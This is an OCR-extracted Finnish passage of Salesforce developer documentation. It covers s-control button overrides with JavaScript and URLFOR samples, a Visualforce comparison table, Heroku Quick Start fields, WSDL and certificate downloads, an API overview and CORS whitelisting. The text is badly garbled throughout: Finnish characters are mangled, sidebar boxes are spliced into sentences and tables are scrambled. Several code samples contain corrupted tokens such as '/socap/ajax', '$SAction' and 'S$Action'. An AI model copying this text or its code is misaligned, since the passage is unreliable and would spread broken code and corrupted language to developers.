korvaa Lisaa tuote -painikkeen mahdollisuuden Tuotteet-viiteluettelossa. Tdmantyyppinen korvaus ndyttda, miten viiteluetteloiden
painikkeet voivat sisdltda yhdistamiskenttia seka paa- ettd alaobjektista. Esimerkiksi alla oleva koodi sisaltad yhdistamiskenttia
mahdollisuudesta, joka on pddobjekti paatieto—lisatieto-suhteessa mahdollisuuden tuotteiden kanssa.

<html>

<head>

<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
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</head>

<body>

<b>Opportunity Info:</b>

<br>

Opportunity ID: {!Opportunity.Id}
<br>

Opportunity Name: {!Opportunity.Name}
<br>

Opportunity Record Type: {!Opportunity.RecordType}
<br>

</body>
</html>

Voit ottaa tdmdn ominaisuuden kdyttoon luomalla HTML-tyyppisen s-control-objektin ylld olevalla sisalléllg, syottamalld koodisi annettuun
tilaan. Korvaa sitten Lisda tuote -toiminto mahdollisuuden tuotteiden objektissa s-control-objektilla. Tama esimerkki olettaa, etta sinulla
on tietuetyyppeja mahdollisuuksissa.

Note: Tama esimerkki ei sisdlld koodia tuotteiden lisadmiseksi. Tdaman body-osion sisaltd osoittaa ainoastaan, miten kayttaa
mahdollisuuden yhdistdmiskenttid mahdollisuuksien tuotteiden viiteluettelosta. Korvaa body-osio omalla koodillasi.

Liidien muokkaamisen korvaaminen ehdollisesti

Voit korvata vakiotoiminnon ehdollisesti, eli ndyttda vakiotoiminnon tai mukautetun s-control-objektin tietyistd ehdoista riippuen. Saatat
esimerkiksi haluta kayttaa erillistd s-control-objektia yli 30 pdivaa avoinna olleiden liidien muokkaamiseen. Seuraavassa esimerkissa
luomme s-control-objektin, joka arvioi, onko liidi ollut avoinna yli 30 pdivad, ja jos on, mukautettua s-control-objektia kaytetdan liidien
muokkaamiseen. Muutoin kdytetadn liidien tavallista muokkaustoimintoa.

<script type="text/javascript">

//determine if the lead has been open longer than 30 days

if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{

//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR ($SControl.EditLeadsOpenLongerThan30)}";
}

else

{

//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR ($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR ($Action.Lead.View, Lead.Id)], true)}";

}

</script>

Ota tdma kdyttdon omassa organisaatiossasi luomalla s-control-objekti, jota haluat kayttda yli 30 pdivad avoinna olleiden liidien
muokkaamiseen. Anna s-control-objektin nimeksi EditLeadsOpenLongerThan30. Luo sitten s-control-objekti alla olevan esimerkkikoodin
avulla madrittaaksesi, onko liidi ollut yli 30 pdivda avoinna, ja jos on, korvaa liidien muokkaustoiminto s-control-objektilla
EditLeadsOpenLongerThan30.

Huomioi ylld olevan esimerkkikoodin ensimmadisen ja toisen i £-lausekkeen erot. Ensimmainen on JavaScript-muotoinen i f£-lauseke,
joka arvioituu selaimella. Toinen on Salesforcen IF-funktio, joka arvioituu palvelimella ja palauttaa yhden arvon — liidin avoinna olon kesto
paiving, tai nolla, jos liidi ei ole avoin.
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O Vihje: Kéytd taman esimerkin URLFOR-funktiota laatiaksesi Salesforce-URL-osoitteita yksittdisten URL-osoitteiden maarittamisen
sijaan, jotta niita tuetaan kaikissa julkaisuissa.

Jos haluat ndyttad Salesforce-vakiosivun korvauksen sijaan, aseta URLFOR-funktion no override -argumentiksi "true".

Kaytd URLFOR-funktiossasi my0s retURL-parametria palauttaaksesi kayttajan lisatietosivulle tallentamisen jalkeen.

Yhteyshenkilon muokkaamisen korvaaminen

Sinulla saattaa olla oma koodi, jota haluat kdyttad yhteyshenkildiden muokkaamiseen. Kaytd alla olevaa s-control-objektin esimerkkid
valittdaksesi data-arvoja yhdistamiskentilld tietueen lisdtietosivulta mukautettuun s-control-objektiin, joka korvaa lisatietosivun
vakiopainikkeen.

<html>

<head>

<script type="text/javascript" src="/socap/ajax/13.0/connection.js">
</script>

</head>

<body>

<b>Contact Info:</b>

<br>

Contact ID: {!Contact.Id}

<br>

Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>

</body>

</html>

Voit ottaa tdman ominaisuuden kdyttédn luomalla HTML-tyyppisen s-control-objektin ylld olevalla sisallollg, syottamalla koodisi body-osioon.
Korvaa sitten yhteyshenkildiden muokkaustoiminto s-control-ohjaimella. Téma korvaa yhteyshenkilon muokkaustoiminnon kaikkialla,
missd se on kdytettdvissa: yhteyshenkildn lisatietosivulla oleva Muokkaa-painike, luettelondkymien Muokkaa-linkki ja kaikkien
viiteluetteloiden Muokkaa-linkit.

Notfe: Tadma esimerkki ei sisalla koodia yhteyshenkildiden muokkaamiseksi. Body-osiossa oleva koodi osoittaa ainoastaan, miten
kayttad yhteyshenkildn yhdistamiskenttia yhteyshenkilon tietojen esittdmiseen. Korvaa body-osio omalla koodillasi.

Uusi tili -toimintojen korvaaminen

Vakiopainikkeiden korvaaminen johtaa siihen, etteivdt ne ole enda kaytettdvissa missdan Salesforce-organisaatiossasi. Voit kuitenkin
korvata vakiotoiminnon ja ohjata kdyttdjan siihen mukautetusta s-control-objektistasi luomatta loputonta silmukkaa. Voit esimerkiksi
korvata tilien Uusi-painikkeen, suorittaa oman mukautetun prosessisi ja jatkaa Uusi tili -vakiotoimintoa ilman, etta syntyisi loputon
silmukka. Tee tdmd kayttamalld URLFOR-funktiossa no override -argumenttia.

<script type="text/javascript">

alert ("Hi, I am demonstrating how to interrupt New Account with an override. Click OK to
continue.");

window.parent.location.href="{! URLFOR ($SAction.Account.New, null, null, true)}";

</script>

Voit ottaa tdman s-control-objektin kayttodn luomalla HTML-tyyppisen s-control-objektin ylla olevalla sisallolld. Korvaa sitten Uusi tili
-toiminto s-control-objektilla.
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@ Note: Uusi toiminto ei vaadi tunnusta, minkd takia URLFOR-funktion toinen argumentti on nul1.Tdmad esimerkki ei vaadi syotettd,
minka takia URLFOR-funktion kolmas argumentti on nul1. URLFOR-funktion neljas argumentti on true, jolloin korvausta ei
oteta huomioon eikd loputonta silmukkaa synny.

Tilit-vélilehdet aloitussivun korvaaminen ehdollisesti

Voit korvata valilehden aloitussivun ehdollisesti, eli ohjata valilehden alkuperaisen aloitussivun s-control-objektiin tiettyjen ehtojen
mukaisesti Saatat esimerkiksi haluta nayttaa Tilit-valilehden vakioaloitussivun sijaan s-control-objektin tietyn profiilin kayttdjille. Kayta
alla olevaa esimerkkikoodia luodaksesi s-control-objektin, joka nayttaa tydhakemuksen tiedot Rekrytoija-profiilin kayttajille, kun he
napsauttavat Tilit-valilehted. Muut kdyttajat nakevat Tilit-vélilehden vakioaloitussivun.

Voit ottaa tdman kayttddn luomalla ensin s-control-objektin "ApplicantHomePage", joka sisaltaa rekrytoijille ndytettdvan siséllon. Luo
sitten HTML-tyyppinen s-control-objekti kdyttdmalld seuraavaa koodia ehdollisen korvaamisen logiikalle:

<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};

//when the profile is recruiter - display a custom s-control page

if (recruiter) {
window.parent.location.href="{! urlFor ($SControl.ApplicantHomePage) }";

} else {

//when the profile is not recruiter - display the standard Accounts tab page
window.parent.location.href="{! urlFor( S$Action.Account.Tab ,

$ObjectType.Account,null, true) }";

}

</script>

Korvaa lopuksi Tilit-valilehti kdyttddksesialla olevaa HTML-tyyppistd s-control-objektia. Tassd esimerkissa oletetaan, ettd organisaatiossasi
on "Recruiter"-profiili.

@ Note: S$Profile-yhdistdmiskentat ovat kdytettavissd vain Enterprise Edition-, Unlimited Edition-, Performance Edition- ja Developer
Edition -versioissa.

Koodinpatkid sisdltdvat s-control-obijektit

Koodinpatkien sisallyttaminen

Sisallytd mukautettuihin s-control-objekteihin usein kdyttamiasi koodinpatkid. Seuraava esimerkki viittaa koodinpatkaan, jolla luodaan
ylatunniste Web-valilehdessa naytettavalle sivulle. Taman sivun otsikko on "My Title". Kaytd globaalia muuttujaa $SControl viitataksesi
koodinpdtkadn. Ota tamd kayttoon luomalla kaksi koodinpdtkad, "Resize_Iframe_head" ja "Resize_lframe_onload", ja luomalla
HTML-tyyppisen s-control-objektin "Resize_Iframe_sample", joka sisdltdd seuraavan koodin:

<html> <body> {! INCLUDE ($SControl.Header Snippet, [title = "My Title",
theme = "modern"])} </body> </html>
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@ Tdrkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole EDITION-VERSIOT

kdyttdneet S-control-objekteja ennen, eivat voiluoda niitd. Nykyiset S-control-objektit sdilyvat
entisellddn ja niitd voi yha muokata.

Yhdistamiskenttd on kenttd, jonka voit asettaa sahkodpostimalliin, yhdistdmismalliin, mukautettuun

linkkiin tai kaavaan liittadksesi arvoja tietueesta.

Koska S-Control-objektit toimivat objektitason ohjesiséllon ldhteend, voit mukauttaa
kayttdjakokemusta yhdistamiskenttien tai muiden toimintojen avulla. Voit esimerkiksi maarittdd Edition-, Professional

mukautetun ohjeen puhuttelemaan kdyttdjaa nimelta lisadmalld ohjesivulle yhdistamiskentan, joka

nayttad kdyttdjan nimen.

Vihjeitd

Kéytettdvissd: Salesforce
Classicissa

Kdaytettdvissd Contact
Manager Edition-, Group

Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

e Jos haluat viitata tiedostoon, jonka olet ladannut Tiedostonimi-kenttddn osana mukautettua
S-Control-objektia, valitse Valitse kenttdtyyppi -alasvetoluettelosta Mukautettu S-Control ja
valitse Mukautetun S-Control-objektin URL, jotta saat sen yhdistdmiskentdn. Java-sovelmiin on mahdollista viitata myos
yhdistamiskentilld { ! SControl JavaCodebase} ja {!SControl JavaArchive}

e Jos haluat lisdta toimintojen yhdistamiskenttid, valitse Tapahtuma tai Tehtava Valitse kenttdtyyppi -alasvetoluettelosta. Salesforce
koodaa linkkiin lisattyjen yhdistamiskenttien tekstin automaattisesti.

KATSO MYOS:

Custom S-Control -objektien maarittdminen

Visualforce-sivujen ja S-Controls-objektien vertaileminen.

@ Tarkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole kdyttaneet S-control-objekteja ennen,
eivat voi luoda niita. Nykyiset S-control-objektit sailyvat entiselldan ja niitd voi yha muokata.

Visualforce-sivut ovat s-controls-objektien seuraava sukupolvi, ja niita tulisi kdyttda aina kun mahdollista, koska niiden suorituskyky on
parempi ja niitd on helppo kirjoittaa. Seuraavassa taulukossa hahmotetaan Visualforce-sivujen ja s-controls-objektien eroja.

Vaadittavat tekniset taidot
Kielityyli

Sivun korvausmalli

Vakiomuotoinen
Salesforce-komponenttikirjasto

Sisaanrakennetun

kayttoymparistotoiminnan kayttdoikeus

Tietosidonta

Visualforce-sivut
HTML, XML
Tunnistekoodi

Vakiokomponenttien ja mukautettujen
komponenttien kokoonpano tunnisteita
kayttamalla

Kylla

Kylld, vakio-ohjaimen kautta

Kylla

Kehittdjat voivat sitoa sydttokomponentteja
(kuten tekstiruutu) tietyn kentan kanssa
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HTML, JavaScript, Ajax Toolkit
Toimintosarjakoodi

Kirjoita HTML ja JavaScript koko sivua varten

Ei

Ei

Ei

Kehittajat eivat voi sitoa komponenttia
tiettyyn kenttddn. Sen sijaan heidan taytyy
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Tyylisivujen periminen

Kenttien metatietojen noudattaminen,
kuten yksil6ivyys

Vuorovaikutus Apex-koodin kanssa

Suorituskyky

Sivusailio

KATSO MYOS:
Tietoja s-control-objekteista

Visualforce

Visualforce-sivut

(kuten tilin nimi). Jos kayttdjd tallentaa arvon
kyseiseen syottékomponenttiin, se
tallennetaan my®os tietokantaan.

Kylla

Kylla, oletusarvoisesti

Jos kdyttdjd yrittdd tallentaa tietueen, joka
rikkoo yksiloivyyttd tai kenttdmadritteiden
vaatimusta, virheviesti ndytetadn
automaattisesti ja kayttaja voi yrittad
uudelleen.

Suora, sitomalla mukautettuun ohjaimeen
Reagoivampi, koska merkintd luodaan

Force.com-alustalla

Syntyperdinen
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S-Control-objektit

kirjoittaa JavaScript-koodi, joka kayttad
API-toimintoa paivittamdan tietokanta
kdyttdjalle ominaisilla kenttdarvoilla.

Ei, Salesforce-tyylisivut taytyy tuoda
manuaalisesti

Kylld, jos se on koodattu JavaScriptiin
kdyttamadlld kuvaa API-kutsua

Jos kdyttdjd yrittda tallentaa tietueen, joka
rikkoo yksiloivyyttd tai kenttdmadritteiden
vaatimusta, virheviesti ndytetdan vain, jos
s-controls-kehittdja kirjoitti koodin, joka
tarkasti kyseiset maaritteet.

Epdsuora, kdyttdmalld Apex webService
-menetelmia API-toiminnon kautta

Vdhemman reagoiva, koska jokainen kutsu
API-toimintoon vaatii meno-paluumatkan
palvelimelle—kehittdjan vastuulla on séataa
suorituskykyd

iFramessa
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Sovellusten integrointi Salesforcen kanssa

Esitysaluesovellusten esikatselun yhteenveto

Esitysaluesovellusten esikatselu on kehitystyokalu, jonka avulla voit tarkastella esitysaluesovelluksiasi
ennen niiden julkaisemista. Esitysaluesovelluksesi tarkasteleminen:

1. Kirjoita Mddritykset-valikon Pikahaku-kenttddnEsitysaluesovelluksen
esikatselu javalitse Esitysaluesovelluksen esikatselu.

2. Napsauta esitysaluesovellustasi vasemmanpuoleisesta ikkunasta. Esitysaluesovellus naytetdan

kehyksessa.

Lisatietoja on Force.com Canvas Developer’s Guide -oppaassa.

Heroku-pika-aloitus

Heroku-pika-aloitus-painike auttaa sinut alkuun luomalla sovelluksen Herokussa ja sitd vastaavan
esitysaluesovelluksen Salesforce:ssa. Heroku-pika-aloitus-kentdt sisaltdvat seuraavat kentat:

Kentta

Malli

Esitysaluesovelluksen nimi

Heroku-sovelluksen nimi

Esitysaluesovelluksen kuvaus

Todennuksen tyyppi

Kuvaus

Heroku-malli, jota kdytetddn Heroku-sovelluksen
luomiseen.

Esitysaluesovelluksen nimi. Enimmdispituus on
30 merkkid.

Heroku-sovelluksen nimi. Nimen taytyy alkaa
kirjaimella ja se voi sisdltad vain pienia kirjaimia,
numeroita ja valiviivoja. Tdmd nimi lisatdan
sovelluksen URL-osoitteen osaksi.
Enimmaispituus on 30 merkkia.

Esitysaluesovelluksen kuvaus. Kuvaus ndytetaan,
kun muokkaat esitysaluesovellusta
Salesforce:ssa. Enimmadispituus on 200 merkkia.

Miten pika-aloitus todentaa Herokun kanssa
luodakseen esitysaluesovelluksen.

® OAuth — Kdyttdd Heroku-valtuutusta, jos
kyseinen kayttdja on kirjautunut Herokuun.
Muussa tapauksessa Heroku OAuth -kulku
kdynnistetaan.

® Kayttdjanimi/Salasana —
Kadyttad Heroku-kayttdjanimed ja -salasanaa.

® API-avain — Kayttad Heroku API
-avainta.
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EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kdytettévissa: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-,
Professional Edition- (API
ja Force.com Canvas
kdytossd) jo Developer
Edition -versioissa

KAYTTJAOIKEUDET

Esikatselun tarkasteleminen:
e Sovelluksen
mukautusoikeus
JA

Kaikkien tietojen
muokkausoikeus


https://resources.docs.salesforce.com/204/latest/en-us/sfdc/pdf/canvas_framework.pdf
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Kenttd Kuvaus

Heroku-k&dytt&djanimi Kayttdjanimi tilille, jota kdytetdan Herokuun kirjautumiseen.
Heroku-sovellus luodaan téman kdyttajan tunnuksilla.

@ Nofte: Tdssa kentdssd voi olla enintdan 30 merkkid. Jos
Heroku-kdyttdjanimesi on yli 30 merkkid pitkd, sinun taytyy
syottad Heroku-tiliisi liittyvid APl-avain Heroku
API-avain -kenttddn.

Heroku-salasana Salasana tilille, jota kdytetddn Herokuun kirjautumiseen.

Heroku API -avain Heroku-tilin kayttdjanimen ja salasanan sijaan voit kdyttaa kyseiseen
tiliin liittyvaa APl-avainta. Ndet témdn arvon Herokun Oma tili
-sivulta.

@ Note: Heroku-kdyttajanimed ja -salasanaa ei tallenneta minnekadn, vaan niitd kdytetddn ainoastaan sovelluksen luomisen aikana
suojatun yhteyden kautta.

KATSO MYOS:
Yhdistetyt sovellukset

Yhdistetyn sovelluksen luominen

127



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

Kentdn toiminta-alue

Kentdn toiminta-alue -sivulla nékyviin kenttiin viitataan toiminta-alueen kautta.

e Jos On paivitetty -valintaruutu on valittu, DML-operaatio (database manipulation language),
kuten insert tai update, pdivittdd kentdn. Lisatietoja on kohdassa Riippuvuuksien Kaytettdvissa: Salesforce
ymmartaminen. Classicissa
Jos On paivitetty -valintaruutua ei ole valittu, kenttdan viitataan vain toiminta-alueen sisalld. AppExchange-paketit ja
Kenttd saattaa esimerkiksi olla osa select-lauseketta. Visualforce ovat

kaytettcivissé Group

e Josvalintaruutu Ulkeinen tunnus on merkittynd, kentta toimii ulkoisena tunnuksena. Ulkoinen Edition- Professional

tunnus sisaltad yksiloivat tietueen tunnistimet Salesforce-sovelluksen ulkopuolisesta Edition-, Enterprise Edition-,

jarjestelmdstd. Voit etsid ulkoisia tunnuksia sivupalkkihaun avulla ja voit kdyttdd myos Force.com Performance Edition-,

APLn kenttdd. Kun kaytat mukautettujen objektien ja ratkaisujen tietojen ohjattua tuontitoimintoa, Unlimited Edition- ja

voit estda identtisten tietueiden synnyn taman kentan avulla. Developer Edition
-versioissa

Apex on kaytettdvissd
Enterprise Edition-,
Performance Edition-,
Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Pakettien lataaminen:
e Pakettien latausoikeus
AppExchange-palveluun

Apex-riippuvuuksien
tarkasteleminen:

e Apex-laadintaoikeus
Visualforce-riippuvuuksien
tarkasteleminen:

e Kehitystila
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Salesforcen WSDL-tiedostojen ja asiakkaan todennussertifikaattien lataaminen

Voit ladata WSDL (Web Services Description Language) -asiakirjan, jos haluat integroida sovelluksiasi
SalesforceenAPl:n avulla.

Seuraavat WSDL-asiakirjat ovat kdytettavissa.

Enterprise WSDL — Kdyta tatd WSDL-asiakirjaa rakentaaksesi integraation vain yhdelle
organisaatiolle. Enterprise WSDL on vahvasti kirjoitettu, eli se sisaltda objekteja ja kenttid, joilla
on tietyt datatyypit, kuten int ja string.Enterprise WSDL-asiakirjaa kdyttavien asiakkaiden
taytyy ladata se ja kdyttda se uudelleen, kun heiddn organisaatioonsa mukautettuihin objekteihin
tehdd@n muutoksia tai jos he haluavat kayttaa eri APl-versiota.

Partner WSDL — Kayta tatd WSDL-asiakirjaa rakentaaksesi useissa Salesforce-organisaatioissa
toimivan integroinnin, riippumatta niiden mukautetuista objekteista tai kentistd. Tata
WSDL-asiakirjaa kdyttavat yleensa kumppanit ja itsendiset ohjelmistokehittdjat. Se on valjasti
kirjoitettu, mika tarkoittaa, ettd kdytat kenttdnimien ja -arvojen nimi/arvo-pareja tiettyjen
datatyyppien sijasta. Partner WSDL -asiakirja taytyy ladata ja kdyttda vain kerran kutakin
APl-versiota kohti.

Apex WSDL — Kayta tata WSDL-asiakirjaa suorittaaksesi tai kdantadksesi Apex-koodia toisessa
ymparistossa.

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissa Professional-,
Enterprise-, Developer- ja
Database.com-versioissa

KAYTTJAOIKEUDET

WSDL:n lataaminen:
e Sovelluksen
mukautusoikeus

Metadata WSDL — Kaytd tatd WSDL-asiakirjaa siirtaaksesi kokoonpanomuutoksia organisaatioiden valilld tai tydstadksesi organisaatiosi

mukautuksia XML-metadata-tiedostoina.

WSDL-asiakirjan lataaminen:

1.
2.

3.

Kirjoita Maaritykset-valikon Pikahaku-kenttddn APT ja valitse API.

Lataa asianmukainen WSDL:

e Jos lataat Enterprise WSDL -asiakirjaa ja organisaatiossasi on asennettuna hallittavia paketteja, napsauta Luo Enterprise WSDL.
Salesforce kehottaa valitsemaan kunkin luotavaan WSDL-tiedostoon siséllytettavan asennetun paketin version.

e Muussa tapauksessa napsauta asianmukaisen WSDL-asiakirjan linkkid hiiren oikealla painikkeella ja tallenna se paikalliseen
hakemistoon. Internet Explorer -kdyttdjat voivat valita valikosta Tallenna kohde nimella -vaihtoehdon, ja Mozilla Firefox -kdyttdjat

Tallenna linkki nimella -vaihtoehdon.

Tuo tietokoneessa WSDL-asiakirjan paikallinen kopio kehitysympdristoon.

@ Nofte: Voit my6s valita oletusarvoiset paketin versiot lataamatta WSDL-tiedostoa Paketin version madrittaminen -osiossa.

Voit my6s ladata sertifikaatin, jonka avulla Salesforce-organisaatiot todennetaan. Kaytd tata sertifikaattia tyonkulun lahteviin viesteihin.
Tama sertifikaatti tunnistaa, ettd pyynto tulee Salesforcesta eika tietyltd kayttajaltd. Jos haluat kdyttaa sertifikaatteja varmistaaksesi suojatut
yhteydet kdyttdmalld Salesforce-ominaisuuksia, kuten Apex-kutsuja, kdytd Salesforce-sertifikaatteja ja avainpareja.

Sertifikaatin lataaminen:

1.

2
3.
4

Kirjoita Mdaritykset-valikon Pikahaku-kenttddn APT ja valitse API.

. Napsauta API WSDL -sivulta APl-asiakassertifikaatin hallinta.

Napsauta Sertifikaattien ja avainten hallinta -sivun APl-asiakassertifikaatti-osiosta APl-asiakassertifikaatti.
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Nyt voit tuoda ladatun sertifikaatin sovelluspalvelimeen ja maarittda sovelluspalvelimen pyytdmaan asiakassertifikaattia.

KATSO MYOS:
Apex Developer Guide
Metadata API Developer Guide

Mitd APl:a minun tulisi kayttaa?

Salesforce tarjoaa ohjelmallisen pdasyn organisaatiosi tietoihin kdyttdmalla yksinkertaista, tehokasta EDITION-VERSIOT
ja turvallista sovellusten ohjelmointirajapintoja.

Kaytettavissa: Salesforce
API-nimi Protokolla Tietojen muoto  Viestinta Classicissa

REST API REST JSON, XML Synkronoitu Kaytettavissd: Enterprise
Edition-, Performance

SOAP API SOAP (WSDL XML Synkronoitu
( ) / Edition-, Unlimited Edition-,
Chatter REST API REST JSON, XML Synkronoitu Developer Edition- ja
(valokuvat kasitellaan Database.com Edition
ei-synkronoidusti) -versioissa
Bulk API REST CSV, JSON, XML Ei-synkronoitu " ”
KAYTTJAOIKEUDET
Metadata API SOAP (WSDL) XML Ei-synkronoitu
APl:en kdyttéminen:
Streaming API Bayeux JSON Ei-synkronoitu

e APl kaytossd
(tietovirta)

Apex REST API REST JSON, XML, Synkronoitu
mukautettu

ApexSOAP API SOAP (WSDL) XML Synkronoitu

Tooling API REST tai SOAP (WSDL) JSON, XML, Synkronoitu
mukautettu

Milloin kayttad REST APL:a?

REST API tarjoaa tehokkaan, kdytannéllisen ja yksinkertaisen REST-pohjaisen Web-palveluiden rajapinnan vuorovaikuttamiseen Salesforcen
kanssa Sen tarjoamiin hyotyihin sisaltyy integroinnin ja kehityksen helppous, ja se on loistava teknologia kdytettavaksi mobiilisovelluksissa
ja Web-projekteissa. Jos sinulla kuitenkin on paljon kasiteltdvid tietueita, saatat haluta kdyttda Bulk APl:a, joka perustuu REST-periaatteille
ja on suunniteltu suurille maarille dataa.

Milloin kayttad SOAP API:a?

SOAP API tarjoaa tehokkaan, kaytannéllisen ja yksinkertaisen SOAP -pohjaisen Web-palveluiden rajapinnan vuorovaikuttamiseen
Salesforcen kanssa Voit kayttad SOAP API:a luodaksesi, hakeaksesi, paivittadksesi tai poistaaksesi tietueita. Voit kdyttda SOAP APl:a myds
hakujen suorittamiseen ja moneen muuhun tarkoitukseen. Voit kdyttdad SOAP APl:a milld tahansa Web-palveluita tukevalla kielella.

Voit kdyttad SOAP APl:a esimerkiksi integroidaksesi Salesforcen organisaatiosi toiminnanohjaus- ja talousjarjestelmien kanssa. Voit myds
toimittaa reaaliaikaisia myynti- ja tukitietoja yritysportaaleihin ja lisdtd asiakastietoja tarkeisiin liketoimintajdrjestelmiin.
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Milloin k&yttad Chatter REST APl:a?

Kéyta Chatter REST APl:a ndyttaaksesi Salesforce-tietoja, varsinkin mobiilisovelluksissa. Vastaukset on lokalisoitu, muotoiltu esitysta varten
ja ne voidaan suodattaa sisaltdmaan vain sovelluksen tarvitsemat kohteet. Chatter-syotteiden, kayttdjien, ryhmien ja seuraajien lisaksi
Chatter REST API tarjoaa ohjelmallisen paasyn tiedostoihin, suosituksiin, aiheisiin, ilmoituksiin, Data.com-ostoksiin ja paljon muuhun.
Chatter REST APl on samankaltainen kuin muiden syotteitd kdyttdvien yhtididen tarjoamat APIt, kuten Facebook ja Twitter, mutta se

my6s paljastaa Salesforce-ominaisuuksia Chatterin ulkopuolella.

Milloin kayttad Bulk APl:a?

Bulk API perustuu REST-periaatteille, ja se on suunniteltu suurten tietojoukkojen lataamiseen ja poistamiseen. Sen avulla voit pyytda,
lisdtd, pdivittad ja poistaa useita tietueita ei-synkronoidusti lahettamalla erid. Salesforce kasittelee erdt taustalla.

SOAP APl soveltuu puolestaan reaaliaikaisiin asiakassovelluksiin, jotka pdivittdvat vain muutamia tietueita kerralla. Voit kdyttdd SOAP APl:a
kdsitelldksesi suuria maarid tietueita, mutta SOAP API ei ole kaytanndllinen, kun datajoukot sisdltavat satojatuhansia tietueita. Bulk API
on suunniteltu lataamaan tietoja muutamasta tuhannesta miljooniin tietueisiin.

Helpoin tapa kdyttda Bulk APl:a on ottaa se kdyttoon tietueiden prosessoimiseen Data Loaderissa CSV-tiedostoja kdyttamadlla. Data
Loaderin avulla sinun ei tarvitse kirjoittaa omaa asiakassovellustasi.

Milloin kéyttad Metadata APl:a?

Kdytd Metadata APl:a palauttaaksesi, ottaaksesi kayttoon, luodaksesi, paivittadksesi tai poistaaksesi organisaatiosi mukautuksia. Yleisin
kdyttdtapa on siirtad muutoksia sandbox- tai testausorganisaatiosta tuotantoymparistoosi. Metadata APl on tarkoitettu hallitsemaan
mukautuksia ja rakentamaan tyokaluja, jotka hallitsevat metadata-mallia, eivétka itse tietoja.

Helpoin tapa kayttda Metadata API -sovelluksen toiminnallisuutta on kdyttad Force.com IDE -ympdristdd tai Force.com Migration Tool
-tyokalua. Molemmat tyokalut on rakennettu Metadata APl:n pdalle ja ne kdyttavat vakiomuotoisia Eclipse- ja Ant-tydkaluja helpottaakseen
Metadata API:n kdyttamistd.

e Force.com IDE on rakennettu Eclipse-sovellusalustalle ja tarkoitettu ohjelmoijille, joille integroidut kehitysympdristot ovat tuttuja.
Koodaa, kddannd, testaa ja ota kayttdéon koodia IDE:std.

e Force.com Migration Tool -tyokalu sopii sinulle tdydellisesti, jos kdytat skriptia tai komentorivid metadatan siirtdmiseksi paikallisen
hakemiston ja Salesforce-organisaation valilla.

Milloin k&yttad Streaming APIl:a?
Kéyta Streaming APl:a vastaanottaaksesi ilmoituksia madrittamadsi SOQL-kyselya vastaavien tietojen muutoksista.

Streaming APl on hyadyllinen, kun haluat pakottaa ilmoituksia palvelimelta asiakkaalle. Harkitse Streaming APl:n kdytto sovellukselle,
jotka suorittavat kyselyitd usein. Sovellukset, jotka suorittavat jatkuvasti kyselyitd Salesforcen infrastruktuuriin, kuluttavat tarpeettomasti
API-kutsuja ja kdsittelyaikaa. Streaming APl vahentad pyyntojd, jotka eivdt palauta mitadn tietoja. Se sopii myos sovelluksille, jotka vaativat
tietojen muutoksista yleisen ilmoituksen.

Streaming APl vdhentda API-kutsujen madrad ja parantaa suorituskykyad.

Milloin kéyttad ApexREST API:a?

Kaytd ApexREST API:a, kun haluat paljastaa Apex-luokkasi ja -metodisi siten, etta ulkoiset sovellukset voivat kdyttda koodiasi
REST-arkkitehtuurin kautta. ApexREST API tukee vahvistuksessa OAuth 2.0:aa ja istunnon tunnusta.
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Milloin k&yttad ApexSOAP API:a?

Sovellusten integrointi Salesforcen kanssa

Kaytd Apex SOAP API -rajapintaa, kun haluat paljastaa Apex-metodit SOAP Web-palvelu API -rajapintoina, jotta ulkoiset sovellukset voivat

kdyttda koodiasi SOAP:in kautta.
ApexSOAP API tukee vahvistuksessa OAuth 2.0:aa ja istunnon tunnusta.

Milloin k&yttad Tooling API:a?

Kéyta Tooling APl:a integroidaksesi Salesforce-metadataa muihin jarjestelmiin. Metadatatyypit paljastetaan sObject-objekteina, joten
voit kdyttda yhtd monimutkaista komponenttia. Tdma kenttdtason kayttd nopeuttaa monimutkaisille metadatatyypeille suoritettavia
toimintoja. Voit myds laatia mukautettuja kehitystydkaluja Force.com-sovelluksille. Kdyta Tooling APl -rajapintaa esimerkiksi hallitaksesi
ja ottaaksesi kdyttoon Apex-luokkien ja -kdynnistimien sekd Visualforce-sivujen ja -komponenttien toimivia kopioita. Voit my6s asettaa
tarkistuspisteitd tai kekovarastojen merkint6jd, suorittaa anonyymia Apex-koodia ja kéyttad lokitietoja ja koodin kattavuustietoja

REST ja SOAP ovat molemmat tuettuja vaihtoehtoja.

CORS:n kdyttaminen tuettujen Salesforce API -rajapintojen, Apex REST:in ja Lightning

Outin kayttadmiseksi

Chatter REST API, REST AP, Lightning Out, Bulk APl ja Apex REST tukevat CORS-tekniikkaa (Cross-Origin
Resource Sharing). Jos haluat kdyttda nditd APIl-rajapintoja JavaScriptista verkkoselaimessa, lisad
komentosarjan alkupera CORS-whitelist-luetteloon.

CORS on W3C:n suositus, joka sallii verkkoselaimien pyytda resursseja muista kuin omista alkuperistddn
(alkuperien vdlinen pyyntd). CORS:in avulla esimerkiksi osoitteessa
https://www.esimerkki.com oleva JavaScript-komentosarja voisi pyytdd resurssia
osoitteesta https://www.salesforce.com

Jos CORS:ia tukeva selain tekee pyynnon Salesforce CORS -whitelist-luettelossa olevalle alkuperdlle,
Salesforce palauttaa alkuperdn Access-Control-Allow-Origin HTTP-yldtunnisteeseen

muiden CORS HTTP -ylatunnisteiden kanssa. Jos alkuperd ei sisally whitelist-luetteloon, Salesforce
palautta HTTP-tilakoodin 403.

1. Kirjoita Maaritykset-valikon Pikahaku-kenttddn CORS ja valitse CORS.
2. Valitse Uusi.

3. Syotd alkuperan URL-kuvio.

